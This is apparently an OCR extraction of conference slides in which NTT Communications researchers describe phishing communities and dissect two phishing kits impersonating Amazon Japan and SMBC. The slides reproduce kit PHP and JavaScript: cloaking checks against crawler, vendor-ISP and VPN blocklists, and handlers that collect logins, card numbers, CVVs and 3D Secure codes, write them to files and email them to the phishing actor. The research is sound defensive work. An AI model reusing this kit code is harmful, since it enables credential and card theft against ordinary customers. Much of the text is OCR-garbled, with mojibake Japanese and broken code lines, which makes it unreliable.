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/I\ CAUTION

In this lecture, I am discussing investigative activities using phishing
communities. However, I do not encoura%e casually peeking into
phishing actor activities or accessing phishing sites within the phishing
community.

« Contacting phishing actors, even with the sole purpose of observing, is

antaction that could potentially expose you to detection by the phishing
actors.

« Please conduct such activities with consideration for your own security
(OPSEC: Operational Security) and within the bounds of personal
responsibility.
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« In recent years, there has been a rising trend in phishing scam
incidents. The emergence of Phaa$S (Phishing as a Service) has
contributed to the rapid expansion of the ecosystem, leading to

further specialization and division of labor among "phishing actors"
involved in phishing scams.

« We have been engaged in tracking the activities of "phishing
actors” to understand phishing scams better. Additionally, we have
conducted analyses of phishing kits that are actively being utilized
in order to comprehend the tactics employed.

 In this presentation, we aim to share insights, including case
studies of "phishing actor" activities and analysis results of phishing
kits. We hope to contribute, even if only to a small extent, to the

efforts of phishing hunters and those actively addressing phishing
incidents.
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« The Anti-Phishing Council has been publishing monthly reports on phishing
incident status, and upon examining the data going back five years, it is
evident that the annual number of phishing reports has been steadily

INncreasing.

« The number of reports for the year 2023 has reached 1,196,390 cases,
surpassing the 2022 figure of 968,832 incidents.
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« The comparison indicates a 1.2-fold increase over 2022, and over the five-
year period from 2019 to 2023, the reported phishing incidents have

surged by approximately 20-fold. This substantial growth underscores the
escalating threat posed by ):)hishing activities during this timeframe.
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Division of labor for phishing activities
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Indeed, the prevalence of phishing
services through Phishing as a VIC
(PhaaS) and the distribution of phishing
kits within communities have
contributed to the increased ease of
executing phishing activities.
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Anti-Phishing Guidelines, 2023 Edition.

P.8 Figure 3. Complicated examples of phishing.

https://www.antiphishing.jp/report/antiphishing_guideline_2023.pdf
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« We have focused on the activities of phishing actors in phishing
scams, tracked phishing actors targeting Japan, and conducted
investigations into the trends of phishing communities where
these actors interact.
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2.Phishing Communities
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® Chat Tool
® Trading Market Site
® Phishing Form Site

® cfcC.

© NTT Communications Corporation All Rights Reserved. 12
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CVVHiz
CVVEi2 (100) Q CVVIE (51) CVViE:E (104)
= R0 44, W% 1615 X 27, th¥: 744 ER: 51, bE¥C 1824
BERRK: 2023-12-13 17:13 BERE: 2023-12-9 23:56 BERZK: 2023-12-2 13:30
@ CVVHifa (410) @ RIR (168) O—) AR (98)
ER: 142, th¥: 3161 ER: 28, ¥ 2076 F: 13, ¥ 875
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FF: 19, vh%: 594 FR: 47, ¥ 1113 F R 18, B5¥: 653
RERZE: 7 KAl RE&RZE: 2023-12-13 13:06 REXRZR: 2023-12-12 14:13
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Characteristics of the phishing SR R —
communities studied

® An unspecified number of phishing actors are present
® Individual or group

® Phishing communities are sometimes divided by role

© NTT Communications Corporation All Rights Reserved. 17
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® They operate in a variety of places, from the surface web to the dark web
® The distance to the actors can be close

® Consists of an unspecified number of phishing actors

© NTT Communications Corporation All Rights Reserved. 18
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3.Phishing Actors' Activities
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® Develops the tool

® Operates the service
® Commits scam

® Sell stolen information

® ctcC.

© NTT Communications Corporation All Rights Reserved. 20
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® Phishing actors in various roles are active

® Phishing actors interact and cooperate with each other.

® \Working across languages.

© NTT Communications Corporation All Rights Reserved. 23
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4.Analysis of Phishing Kits
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« We conducted a content analysis of phishing kits obtained directly
from phishing communities among the cases discussed in
"Regarding Phishing Communities” and "Activities of Phishing

Actors.”

« Here are two analysis results introducing "which brand is being
discussed"” and "what kind of actions are being described."

© NTT Communications Corporation All Rights Reserved.
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Case 1: Phishing Kit discussing Amazon
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Most recently, it has been rampant until December 2023, and urlscan.io confirms its
continued usage into January.

« Infringing brand : Amazon
« File Name : JPNL 5 i#NERS (BAZIBAELE) .zip

(¢ Translated into English, it means [JP Amazon source code (anti-red and anti-
filling).zipl )

« File Hash (SHA1) : 58c55affaeb845ca5f5021730d4c2927b482bdc2

JPIEG#3DNE, BEFRILEDHCVVHIEIRAD (5% DG

P RRTF 2022-5-26 11:53:14 | REXEE » BE BREBEX| J

JPI S#h3DWNE, HAITLSHCVWHERE, X—EHATSH, 3DHFNERN. B
main.php 21E2FEE=EN2=A, 02X H

WEBTE : result XHFLT

TE L
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Debug mode settings

Inside main.php, there is a setting
for the debug mode.

$isdebug = 0;

if($isdebug == 0) {
$setting['block_host'] = "off";

$setting['block_iprange'] = "off";
When the debug mode is ON, the Gl b
_ _ _ $setting['block_isp'] of f";
cloaking feature is activated to deny $setting['block_vpn'l = "off";
access from countries outside the s R
. ] $setting['block_country'] ok o -
specified IP range and crawlers with S e sy
specific user agents. Yelsed
$setting['block_host'] = "on";

$setting
$setting
$setting
$setting
$setting
$setting
$setting

block_iprange'] = "on";
block ua'l = "on";
block_isp'] on."
block _vpn'] "on";
block crawler'] =N
block_country'] “on'':
block onece'] = "on";

T
¥
X
T
¥
¥
X
T
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Function Configuration
The phishing kit discussing Amazon is equipped with the following features:

. Access Source Information Collection Function
. Cloaking Function

. Crawler Detection Function

. Phishing Content

R W N -

© NTT Communications Corporation All Rights Reserved.

29

jons



docomo —

Case 1: Phishing Kit discussing Amazon Dusingss | CHTTcmcins
1. Access Source Information Collection Function

It collects the following information from the access source that accessed the
phishing Kit:

« IP Address

« Geographical Information

« Client's OS Information

« ISP Name associated with the IP Address
« Web Browser used on the client

© NTT Communications Corporation All Rights Reserved. 30
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1. Access Source Information

Collection Function it s

Find and retrieve the valid IP ol Gl
address from the request headers $remote = $_SERVER['REMOTE_ADDR'l;
(HI__I|:I:|:I|;P$(CI|_:IIOEQ\-/I_VTA\I£,DED FOR if(filter_var($client, FILTER_VALIDATE_IP))
REMOTE_ADDR). - e

}

elseif(filter var($forward, FILTER VALIDATE_IP))

= $forward;

sremote;

return $1ip;

main.php

© NTT Communications Corporation All Rights Reserved. 31



Case 1: Phishing Kit discussing Amazon

1. Access Source Information
Collection Function

Retrieve the client's OS
information from the User-Agent
In the request header.

function get0S() {
$user_agent
$os_platform
$0s_array

$ SERVER['HTTP_USER_AGENT'];
"Unknown 0S Platform";
array(

docomo ‘
business

'Windows 10',

‘Windows
‘Windows
‘Windows
'Windows
‘Windows
'‘Windows
'Windows
'Windows
‘Windows
'Windows
‘Windows

3.1
8",

7Il
Vista',
Server 2003/XP x64',
XP',
XP',
2000"',
|
938,
85

g
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'Windows 3.11',
'Mac 0S X',
'Mac 0S 9',
‘Linux’,
'Ubuntu’,
'iPhone’,
"iPod"’,
'iPad',
'Android’,
‘BlackBerry',
‘Mobile’
);
foreach ($os_array as $regex => $value) {
if (preg_match($regex, $user_agent)
$os_platform = $value;

}
return $os_platform;

}

$0s = get0S();

© NTT Communications Corporation All Rights Reserved.
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1. Access Source Information

function getBrowser() {

Collection Function $user_agent ¢ SERVER['HTTP_USER AGENT'];
. ] . $browser "Unknown Browser";
Retrieve the information about the $browser_array array(
web browser used by the client B e PeTET
from the User-Agent in the ‘Safari’,

‘Chrome’,

‘Opera’,
‘Netscape’,
'‘Maxthon',
‘Konqueror’,
'‘Handheld Browser'

request header.

)3
foreach ($browser_array as $regex => $value) {
if (preg_match($regex, $user_agent)
$browser — $value;

}

return $browser;

main.php

© NTT Communications Corporation All Rights Reserved. 33
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1. Access Source
Information Collection
Function

Check if the country name

exists in the session information.

If the country name is not set Iin
the session information, use an
external service to retrieve the
geographical information of the
access source |IP address. If the
country name cannot be
successfully obtained, utilize
another external service to

obtain geographical information
In a two-step process.

© NTT Communications Corporation All Rights Reserved.
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$details = get_ipl($ip_);

$details = json_decode($details, true);
$countryname = $details['geoplugin_countryName'];
$countrycode = $details['geoplugin_countryCode'];
$cn = $countryname;

$cid = $countrycode;

$continent = $details['geoplugin_continentName'];
$citykota = $details['geoplugin_city'];
$regioncity = $details['geoplugin_region'];
$timezone = $details['geoplugin_timezone'];
$kurenci = $details['geoplugin_currencySymbol UTF8'];

if($countryname == "") {

$details = get_ip2($ip_);
$details = json_decode($details, true);
$details|'country'];

function get_ipl($_ip) {
$url = "http://www.geoplugin.net/json.gp?ip=".%$_1ip;
$ch = curl _init();

function get_ip2($_ip) {
$url = 'http://extreme-ip-lookup.com/json/"' . $_ip;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

main.php

34
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1. Access Source Information
Collection Function

Retrieve the ISP name using
the external service (Extreme
IP Lookup) based on the access
source IP address.

© NTT Communications Corporation All Rights Reserved.

function getisp($ip) {
$getip = 'http://extreme-ip-lookup.com/json/"' .
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $getip);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);

$¢content = curl exec($curl);

curl _close($curl);

$¢details = json_decode($content);
return $details->org;

main.php

_mm—
N T T Communications
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2. Cloaking Function

Operates when the debug mode is ON. Utilizes information collected by the
access source information gathering function, such as "source IP address,"
"country,” "OS information," "ISP," "browser," etc., to deny access under
various conditions. The observed conditions are as follows.7R X b4

IP Range

User Agent

ISP

Browser and OS

Whether a VPN or Proxy is being used

Whether the access source IP address has been previously compromised
Whether it is from Japan or outside Japan

© NTT Communications Corporation All Rights Reserved.
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2- Cloaking FunCtiOn if($setting['block _host'] == "on") {

$¢hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
Compare the hostname of the sblocked words = array(
access source user with the defined B

list of denied hostnames within the “lbot",

"bannana_bot",

phishing kit and make a “zbot,
determ|nat|0n_ foreach($blocked words as $word) {

if (substr_count($hostname, $word) > 0
$ip = getUserIP();

tulis_file("result/block_bot.txt","BLOCKED HOSTNAME | |
user-agent : ".$_SERVER['HTTP_USER_AGENT']."\n ip : ".
".date ("Y-n-d")." —-———> ".date ("H:i:s")."\n\n");
tulis_file("result/total_bot.txt","$ip|Hostname");
header("status: 403 Not Found");

exit();

blocker.php

© NTT Communications Corporation All Rights Reserved. 37
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2 . Cloa ki ng Fu nCtion if($setting['block_iprange']

$bannedIP = array|(|

""04.,26.%.%",

Compare the access source IP o
address with the defined list of 1172.52.96.%",

if(in_array($_SERVER['REMOTE_ADDR'],$bannedIP)) {

denied IP ranges within the ¢ip = getUserIP();

tulis_file("result/block_bot.txt","BLOCKED IP RANGE ||

phIShIng klt and ma ke a user-agent : ".$_SERVER['HTTP_USER_AGENT']."\n ip : "

".date ("Y-n-d")." ————> ".date ("H:i:s")."\n\n");

dete rm I nat|0n . tulis_file("result/total_bot.txt","$ip|IP Range");

header('"status: 403 Not Found");
exit();

} else {
foreach($bannedIP as $ip)

if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){

$ip = getUserIP();

tulis_file("result/block_bot.txt","BLOCKED IP RANGE ||
user-agent : ".$_SERVER|['HTTP_USER_AGENT'|."\n ip : "
".date ("Y-n-d")." ————> ".date ("H:i:s")."\n\n");

tulis_file("result/total_bot.txt","$ip|IP Range");

header("status: 403 Not Found");

exit();

| blocker.ph

© NTT Communications Corporation All Rights Reserved. 38
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2. Cloaking Function
Compare the User-Agent of the Gdp = strtolover($_SERVER['HTTP_USER AGENT']);

$blocked_words = array(

access source with the defined list of

if($setting['block_ua']l == "on")

denied User-Agents within the et —
phishing kit and make a

determination. boithot,
"nokia6682/",
"bot/",

foreach($blocked words as $word2) {
if (substr_count($dp, strtolower($word2)) > @ or $dp == "" or $dp == " " or $dp
$ip = getUserIP();
tulis_file("result/block_bot.txt","BLOCKED USER AGENT ||
user-agent : ".$_SERVER['HTTP_USER_AGENT']."\n ip : ".
".date ("Y-n-d")." —-———> ".date ("H:i:s")."\n\n");
tulis_file("result/total_bot.txt","$ip|User Agent");
header('"status: 403 Not Found");

exit();

blocker.php

© NTT Communications Corporation All Rights Reserved. 39
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2. Cloaking Function if ($setting[*block_isp'] == "on"){

$ip = getUserIP();

Compare the ISP of the access sispnya = getisp($ip);
source with the defined list of shanned_isp = array!

. ) g ] ] '‘Avira",

denied ISPs within the phishing e,

kit and make a determination. InternetSecurity-TC",
“"Content Delivery Network Ltd",
"DatalinelLtd",

"SunGardAvailabilityServicesLP",

foreach ($banned_isp as $isps) {
if (substr_count($ispnya, $isps) > 0

$ip = getUserIP();

tulis_file("result/block_bot.txt","BLOCKED ISP ||
user-agent : ".$_SERVER['HTTP_USER_AGENT']."\n ip : "
".date ("Y-n-d")." -——> ".date ("H:i:s")."\n\n");

tulis_file("result/total_bot.txt","$ip|ISP");

header("status: 403 Not Found");

exit();

blocker.php

© NTT Communications Corporation All Rights Reserved. 40
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2. Cloaking Function ”‘$§§pi ;ﬁiﬁiiﬂp?)rfwser") {

Determine if the web tulis_file("result/block_bot.txt","BLOCKED SAFEBROWSING ||
browser of the access source .
Cllent |S nOt deﬂned W|th|n tulis_file("result/total_bot.txt","$ip|Google Safebrowsing");
the ph|Sh|ng klt as an header("status: 403 Not Found");

allowed web browser. | exit(s

blocker.php

© NTT Communications Corporation All Rights Reserved. 41
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2. Cloaking FunCtion if($os == "Unknown 0S Platform") {
$ip = getUserIP();
Determine if the OS of the tulis_file("result/block bot.txt","BLOCKED SAFEBROWSING ||
. . user-agent : ".$_SERVER|'HTTP_USER_AGENT'|."\n ip : "
access source client is not " _date ("Y-n-d")." ———> ".date ("H:i:s")."\n\n");

deﬂned W|th|n the phlsh|ng tulis_flille("result/total_bot.Itlxt",“$ip|Google Safebrowsing");
k|t 35 an allowed OS header("status: 403 Not Found");

exit():

blocker.php

© NTT Communications Corporation All Rights Reserved. 42
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2. Cloaking Function B
ip = getUser -

If the access source is e

. if($ip == "127.0.0.1") {
accessing from somewhere Jelsed
Other than the |Oca|host’ query izrr;l::C:r;:t?rs‘:ii/b}ackbox.ipinfo.app/lookup/".$ip;
an eXterI"Ia| SerV|Ce fOI’ the curl_setop; $ch,Cl’JRLOPT_URL,$ur1 -
access source IP address and curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

. . curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
check if the access source is sresp = curl exec($ch);

US|ng ad VPN or Proxy_ curl_close($ch);

$result = $resp;

if($result == "Y"
tulis_file("result/block_bot.txt","BLOCKED VPN/PROXY ||
user-agent : ".$_SERVER['HTTP_USER_AGENT']."\n ip : "
".date ("Y-n-d")." ———> ".date ("H:i:s")."\n\n");
tulis_file("result/total_bot.txt","$ip|VPN/Proxy");

header("status: 403 Not Found"):

exit();
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Case 1: Phishing Kit discussing Amazon business | (HTTCmner
2. Cloaking Function if($setting[‘'block _onece']l == "on") {
Check whether "once" is set et S e ert):

$ip = getUserIP();

|n the SESSIOI"I. header("status: 403 Not Found");

tulis_file("result/block_bot.txt","request onece ||

user-agent : ".$_SERVER['HTTP_USER_AGENT']."\n ip : "
".date ("Y-n-d")." —-———> ".date ("H:i:s")."\n\n");
tulis_file("result/total_bot.txt","$ip|request onece");
exit

api/api_session.php
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Case 1: Phishing Kit discussing Amazon business | (HTTCmner
2. Cloaking FunCtion if($setting['block_country']l == "on") { )

$accessCountryList = array('"Japan","JP");//R1TEBASFEIS

Define a list of allowed countries |t G TRl

$ip = getUserIP();

and check whether the collected neader (*status: 403 Not Found");
country name is included in the T eermagent © .5 SERVERI'HITP USER AGRNT'1."\1 ip :
list of allowed countries. ".date ("Y-n-d")." -———> ".date ("H:i:s")."\n\n");

tulis_file("result/total_bot.txt","$ip|IP Range");

exit();

api/api_session.php
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3. Crawler Detection Function

Utilize external tools like
CrawlerDetect and

ReferralSpamDetect to detect web

crawlers and referral spam.

public function isCrawler($userAgent = null)

{

$agent = trim(preg_replace(

"/{$this—->compiledExclusions}/i",

$userAgent ?: $this—->userAgent

));
if $agent == !
return false;

$result = preg_match("/{$this—>compiledRegex}/

if ($matches
$this—>matches = $matches;

return (bool) $result;

}

dOCOmo ‘ . I'T'T Communications

—

require 'CrawlerDetect/Fixtures/AbstractProvider.php’;
require 'CrawlerDetect/Fixtures/AbstractReff.php’;
require 'CrawlerDetect/Fixtures/Crawlers.php’;

require 'CrawlerDetect/Fixtures/Exclusions.php’;
require 'CrawlerDetect/Fixtures/Headers.php';

require 'CrawlerDetect/Fixtures/Headerspam.php’;

require 'CrawlerDetect/Fixtures/SpamReferrers.php’;
require 'CrawlerDetect/CrawlerDetect.php’;

require 'CrawlerDetect/ReferralSpamDetect.php’;

use Jaybizzle\CrawlerDetect\CrawlerDetect;

use Jaybizzle\ReferralSpamDetect\ReferralSpamDetect;

crawlerdetect.php

i", %$agent, $matches);

© NTT Communications Corporation All Rights Reserved. JaybiZZ|e/C rawlerDetect/CrawlerDetect. P h P

public function isReferralSpam($referrer = null)
{

$referrer = $referrer ?: $this—>referrer;

if (strlen(trim($referrer)) == 0
return false;

if (strpos($this—>compiledString, $referrer)
return true;
else
return false;

}

Jaybizzle/ReferralSpamDetect / ReferralSpamDetect. php
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Case 1: Phishing Kit discussing Amazon business | (HTTCmner
3. Crawler Detection Function

if($setting['block_crawler'] == "on") {
In CrawlerDetect, confirm whether | el s
specific strings are present in the | |
if($CrawlerDetect—>isCrawler()) {
User Agent and make a P —
determ“"'at'c)n. tulis_file("result/total_bot.txt", "$ip|Bot Crawler"."\n");
header("status: 403 Not Found"):
In ReferralSpamDetect, confirm o1t ()
whether SpeCiﬂC StringS ale if($referrer->isReferralSpam()) {
: $ip = getUserIP();
present In the Referer URL and tuFl)is_gile "result/total_bot.txt", "$ip|Referrer Block"."\n");
make a determination. header ("status: 403 Not Found");

exit();

crawlerdetect.php
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Case 1: Phishing Kit discussing Amazon A o
4. Phishing Content (DOCTYPE !

The phishing content is [ ———
structured using Vue.js. In the |
indeX.html ﬂ|e, page routing iS link href=/static/css/app.752839d3f58c010ecc04f48dcc063497.css rel=stylesheet
performed using vue-router,
tailored to the processing of the o e iy
ph|Sh|ng S|te_ Varlous Contents __Jim type=té;£/javascr%pt src=/stat%c/3:s/manifest.dd@91f32d®78ce1ae22$.js -ipt
are prepared, and multiple S e e T e
JavaScript files are called e e

. 1tml .aebéc¢ eBbleb2.3js
accord|ng|y_ 1.1f5e12c89c9e17b78cee. s

index.html 10.7e8b298cf8b9eeb78e8d. s

11.8b1570ce205b%aBd5ecb.js
.bOfdc6r2929c40528c04.7s
.5b74bd82b5fed10eB51f. s
.21d34085c1700308bcéelb. s
.5a2aef8%9a62e11d95a50.3s
.140daédccB81l1eb3215dd. s
.d9a487a8067cff92238c.Js

.3d3cPB8O8TF3d7bl4F3%¢ea. s
.eBcbabc7d9bea4b7cB44. s
.4153f4cefB2ec63128b4. s
.f2cc96632380957f088B6. s
.67434be2e9f5b166bccc js
.47a7b%9%adeef46813f1c. ]
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Case 1: Phishing Kit discussing Amazon
4. Phishing Content

The following is the code referred to as the login screen for a phishing site.

amazon cojp

OJ41>

EX=EI3EFRIEES

JAED ‘

FHIT93 2T, Amazon® FIBRNE LT 7711
YoRAICEAET b0 LA BRINET,

» BEDTEH?

© NTT Communications Corporation All Rights Reserved.

}i?pﬁp

header('Content-Type: text/html;charset=utf-8');
header('Access—Control-Allow-0rigin:x'); |
header('Access-Control-Allow-Methods:POST"'); |,
header('Access-Control-Allow-Credentials: true');

require("../main.php");
require("../crawlerdetect.php");

require('../blocker.php');

session_start();

$_SESSION['email'] = $_POST['email'];

$ SESSION['password']l] = $ _POST['password'];
$_SESSION['timedate'] = date('H:i:s d/m/Y');

$_SESSION['HTTP_USER_AGENT'] = $_SERVER['HTTP_USER_AGENT'];

49
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Case 1: Phishing Kit discussing Amazon business
4. Phishing Content

The following is the code referred to as the personal information input screen.

CAlCBIR, OF 1> EREHiB5 0
OW O . 749V R&URE - SYBE -\.-.’z—r

AmazonGlobal S>%>4 AmazonBasics HEER & 41Lt—)l S—Fr AKVIr-BAOE8E RSwSIALT HI7LE F—LE&FwFr XTI RSrFY

— - = T = = —— —

BHMIBETTAV TV EATEEEA

FARERXREEHTS
BEog/hEEEE HIESOESN Y S | PN — EFBDXA LtE—IL
HEEVWYT1,000HOFFZ —F >~ + —Jl 1. 2 3 4 ;
[ v >
ER (EREANLTLESEY) ' g &)
A P F A pd
Y M ” session start():
{ 27 BHEANL TS | | |
$ SESSION['fullname'] = ¢ POST['fullname'l];
| $_SESSION['dob'l = $_POSTI['dob'l;
] BEES (BEESEANDLTIEETY

Bl $ SESSION['zipcode'l = $ _POST['zipcode'l;
RESS REESEANL TR $_SESSION['stat'] = $ POSTI|'stat'];
$ SESSION['addressl'] = $ POST['addressl'];
$ SESSION|['address2'] = $ POST['address2'];
$_SESSIONI['phonenumber'] = $_POST['phonenumber'];
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Case 1: Phishing Kit discussing Amazon Dusiness | (TTemmmo
4. Phishing Content

The following is the code referred to as the credit card information input screen.

— i o CAlCBIE, O 1> EREHCE55 0
— amazon. AT - oW O . Fhvviauzk - axEE . M h—k

cAlCBI

@5@;7%;535; AmazonGlobal S>#>4 AmazonBasics HEER & HrhLt—J)l I—FRY AVIAY-FEIBE RSyJALT FIrE FLE&FvFY EXIRSyFEVY

—.aE . = - e == PR - ——— —

: [ B TAETTHAYY M7 ERTEEEA
lllll"' S0 SNOW E]
~
PXIWEEEEH TS
AR ERSE WIBEOESH oy B
HEEWVYTL,000MOFFZ —FK > - 1. > 4

A—F&BA EAO—YETAN)
A—REEEAN

h—FES (H—FESEANLTIESY)
h—r&s

|}
( EWBR EREREASL T EEL

| - W

tXaVTF«I—F(EFaVFsI—FEAALTLESTY)

] t¥aUF4I—FK [#8RE] 2207 ORA. BR =
I 3

| ik $_SESSION['namecard']l = $_POSTI['namecard'];
= $_SESSION['cardnumber'] = $_POST['cardnumber'];

$_SESSION['exdate'] = $_POST['exdate'l;
$ SESSION|['cvc'l] =3¢ POSER e ol
$_SESSIONI['bankname'] = get_BIN($_SESSION|['cardnumber'],"bankname");
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Case 1: Phishing Kit discussing Amazon busingss | CErrem
4. Phishing Content

The functionality to obtain BIN (Bank Identification Number) codes using the entered credit card
iInformation through an external service has also been implemented.

function get_BIN($bin,$parameter)
{

$binx = preg_replace('/\s+/', '', substr($bin, 0, 6));
$get_bin = curl('https://lookup.binlist.net/"'.$binx);
$json_bin = @json_decode($get_bin, true);

if ($parameter == 'bankname')

{
if (isset($json_bin)

return $json_bin['scheme'];

else

return '';

apl/send_card.php
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4. Phishing Content

docomo ‘ —

N T T Communications
M\,

The following is the code that is called upon submitting the 3D Secure input screen for the

phishing site's PC version.

amazZon
Added Protection |
HEEEO_FIBO—Foitr »494—F v FH—EINAT—FEEZAD

A e .
% -.r P T

INEIEs . Amazon.co.jp
—#H|FeEE ;. ¥0.00
Z#|FE B : Mon Dec 15 2023
j]_ h%% v koo sk _skskskok_ ()00
weh1—H —1D: | ‘

KAT— K| |

\' Submit| H AT vt

Copyright [C) CREDIT SAISON Co., Lid All Rights Reserved.

© NTT Communications Corporation All Rights Reserved.

function submit($url, $data) {
$datal['action'] = 'submit';
$curl = curl_init();

curl_setopt(

curl_setopt
curl_setopt
curl_setopt
curl_setopt

curl_setopt

curl_setopt
$response =
curl _closel
$response =

$curl, CURLOPT_URL, $url);

$curl, CURLOPT_SSL_VERIFYPEER, false);
$curl, CURLOPT_SSL_VERIFYHOST, false);
$curl, CURLOPT_RETURNTRANSFER, true);
$curl, CURLOPT_FOLLOWLOCATION, true);
$curl, CURLOPT POST, 1);

$curl, CURLOPT _POSTFIELDS, $data);
curl_exec($curl);

$curl);

json_decode($response, TRUE);

return $response;
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Case 1: Phishing Kit discussing Amazon
4. Phishing Content

The information entered up to
this point is recorded in a text
file and sent via email to the

phishing actor.

© NTT Communications Corporation All Rights Reserved.

$mg_mail .
$mg_mail .=

$mg_mail .=
$mg_mail .=
$mg_mail .=
$mg_mail .
$mg_mail .
$mg_mail .

$mg_mail .
$mg_mail .=
$mg_mail .=

$mg_mail .=
$mg_mail .=
$mg_mail .=
$mg_mail .=
$mg_mail .=
$mg_mail .=
$mg_mail .
$mg_mail .
$mg_mail .

$mg_mail .
$mg_mail .=
$mg_mail .=
$mg_mail .=
$mg_mail .=
$mg_mail .

tulis_file("result/". str_replace(" ", "", $_POST['cardnumber"’

sendMail(

"o ID

“"ZIHAH
""evv

"web ID :
"Password

"5
"FRTEM
“ihhib1
"ihit2
"EI=R

" iR 2
His[3]
"FIESE

ip :

"UserAgent :
"Region :
“"Time Date

@

: ".$ POST['email']."<br>";
: ".$_POST['password']."<br>";

[ ERAFHE |
: ".$_POST['bankname']."<br>";
: ".$_POST['namecard']."<br>";
: ".$_POST['cardnumber']."<br>";
: ".$_POST['exdate'l."<br>";
: ".$_POST['cvc']."<br>";

[ 3D &8 ]
".$ _POST['cvv3_login']."<br>";
3D : ".$ _POST['cvv3_secure']."<br>";

: ".$_POST['fullname']."<br>";
: ".$_POST['stat']."<br>";
: ".$ POST['addressl']."<br>";
: ".$_POST['address2']."<br>";
: ".$_POST['countryname']."<br>";
: ".$_POST['zipcode']."<br>";
: ".$_POST['dob']."<br>";
: ".$_POST['phonenumber']."<br>";

. getUserIP() .
".$ POST['HTTP_USER_AGENT']."<br>";

".$ _POST['region']."<br>";
: ".date('H:i:s d/m/Y")."<br>";

docomo
business

.com","Amazon-".$_POST['cardnumber'],$mg_mail,$_POST['fullname']);

apl/send_3d.php

. $_POST['mode'] .

_pm—
N T T Communications

~—

"Ltxt",$mg);
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 The phishing kit named "JPI 5 iNER (B5ZIBAELIE) .zip," which
discusses Amazon, is built using Vue.js. It conducts information
gathering from the request headers and sessions of the accessing
source, and implements detailed detection processes to
incorporate cloaking techniques.

« Crawler detection processes are simplified by using external tools
such as CrawlerDetect and ReferralSpamDetect.

« The information entered on the phishing site is first outputted to
a text file and then directly sent via email to the phishing actor.

© NTT Communications Corporation All Rights Reserved.
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Case 2: Phishing Kit discussing SMBC
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Case 2: Phishing Kit discussing SMBC docomo | rrrmmior

Phishing kit mimicking SMBC's credit card services.

« Infringing brand: SMBC (Sumitomo Mitsui Banking Corporation)
 File Name : =H.z1p
 File Hash (SHA1) :2a@a37dedffae95f46b2a51066e44c06058bf764

HASMBC=HF&MiE,smbcAAX=ZHCVVIERAFHEIER (=45

P 8%TF 2023-11-3 16:59:37 | REXMEE » BE BREX] W

HASMBC=H$V&Mi5,smbcHA=HCWIERFIEIRE, FHPCEHEMN

EEIAIE - apache php

e ERE R /yuX R
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Case 2: Phishing Kit discussing SMBC AR
README

It is evident that the phishing kit is built using ThinkPHP, as indicated by the
presence of a README.md file containing information about the operating
environment and instructions on how to use ThinkPHP.

ThinkPHP 6.0

BITMREKPHP7 .2+, 3#APHPS.1
[EANAERSTH] (https://market.topthink.com) | [ ThinkAPI'—E A 4i—APIBRZ5] (https://docs.topthink.com/think-api)

ThinkPHPV6.0kRAH [12EZ] (https://www.yisu.com/ ) 3R %EBN K7,

o M5 B -

* A PHP7 5838 (™) , _ _
+ TREZH PSR A composer create-project topthink/think tp 6.0.%

* RESNAZR R
* ERAMSANEN
* SHNE4RS MR B EEHERGER ## RYYER
* BEEHMBIEESHSE—NASHRS v
* HEIRE IS B i composer update topthink/framework ThinkPHP8#EApache2 BN R, HiBftRBER,
* PERZhEERIBIML
* SESSION/Cookie#Lid# A H S EME=H RS HHIE Z RIS B BTN,
* XSwoo leLl R hi2 Sz iFokiHt ## X5
* X IDEEMALF IRIXFRE Copyright © 2006-2021 by ThinkPHP (http://thinkphp.cn)
* S—MBRAABAE
All rights reserved,

ThinkPHP® EinHIEENEREE AN LBIAERRZBIRAE.
B2 [ThinkPHP #/0MEZRE] (https://gi

EZMTEE [LICENSE. txt] (LICENSE. txt)
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Configuration related configp o
The configurable settings of the cache.php
phishing kit are defined in PHP console.php
files located under the config e
d FECtOry. filesystem.php

lang.php

log.php
When used by the phishing actor, ool
configuration changes are Session bhp | /2 CONTiOALLS
typically made in files like trace.php i "
public/static/config.js. This view.php B
allows customization of the _
destination URL during cloaking i
implementation, the use of the '
ipregistry service through an API ,
KEY, and the SpeCiﬁcatiOn of the fileSys:"https://www.poczta-polska.pl/"
storage location for obtained }

information.

export default configAll;

public/static/config.js
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Functional configuration
The phishing kit discussing SMBC incorporates the following features:

1.Access Source Information Collection Function
2.Cloaking Function

3.Crawler Detection Function

4.Phishing Content

5.Acquired Information Management Function

© NTT Communications Corporation All Rights Reserved.



Case 2: Phishing Kit discussing SMBC docomo | arrcmniior

methods:

1. Access Source red0 £

Informatlon COIIECtlon ééch('W' + configAll. ipKey)
- .then(function (response
Fu nCt|0n return response.json();

)

Utilize the IP Registry of hen(function havioad) |

.userInfo.ip = payload['ip']

eXte rnal Se rV|CeS to acq u I re _this.userInfo.language = payload['location']['language']['name"']

_this.userInfo.city = payload['location']['city']
access SOU rce Info rmatlon _this.userInfo.latitude = payload['location']['latitude"']

" _this.userInfo.longitude = payload['location']['longitude']
const userCountryCode = payload['location']['country']['code'];
_this.userInfo.ua = payload['user_agent']['header']
const deviceName = payload['user_agent']['device']l['type']l;

st osType = payload['user_agent']['os']['type'l;
st osName = payload['user_agent'l['os']['name’'];
is_abuser = payload['security']['is_abuser'];
st is_anonymous = payload['security']['is_anonymous'];
st is_attacker = payload['security']['is_attacker'];
st is_bogon = payload['security']['is_bogon'];
st is_cloud_provider = payload['security']['is_cloud_provider'];
st is_proxy = payload['security']['is_proxy'];
st is_relay = payload['security']l['is_relay'];
st is_threat = payload['security']['is_threat'];
st is_tor = payload['security']['is_tor'];
st is_tor_exit = payload['security']['is_tor_exit'l];
st is_vpn = payload['security']l['is_vpn'l];
contype = payload["connection"] ["type"];
const accepte_contype = ["cdn", "hosting", “education“]ﬂ
window._config = _this.userInfo;

smbc/view/1ndex/1index.html
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Case 2: Phishing Kit discussing SMBC A

if (osName != 'i0S' && osName != 'Android') {

2- Cloa king Fu nCtion window. location = "http://localhost";

return false;
" ¥
Conduct evaluation of access |
- - - - - if (is_abuser == true || contype == "cdn" || contype == "hosting" || contype == "education" || is_anonymous ==
denlal Crlterla deflned In the true || is_attacker == true || is_bogon == true || is_proxy == true || is_cloud_provider == true
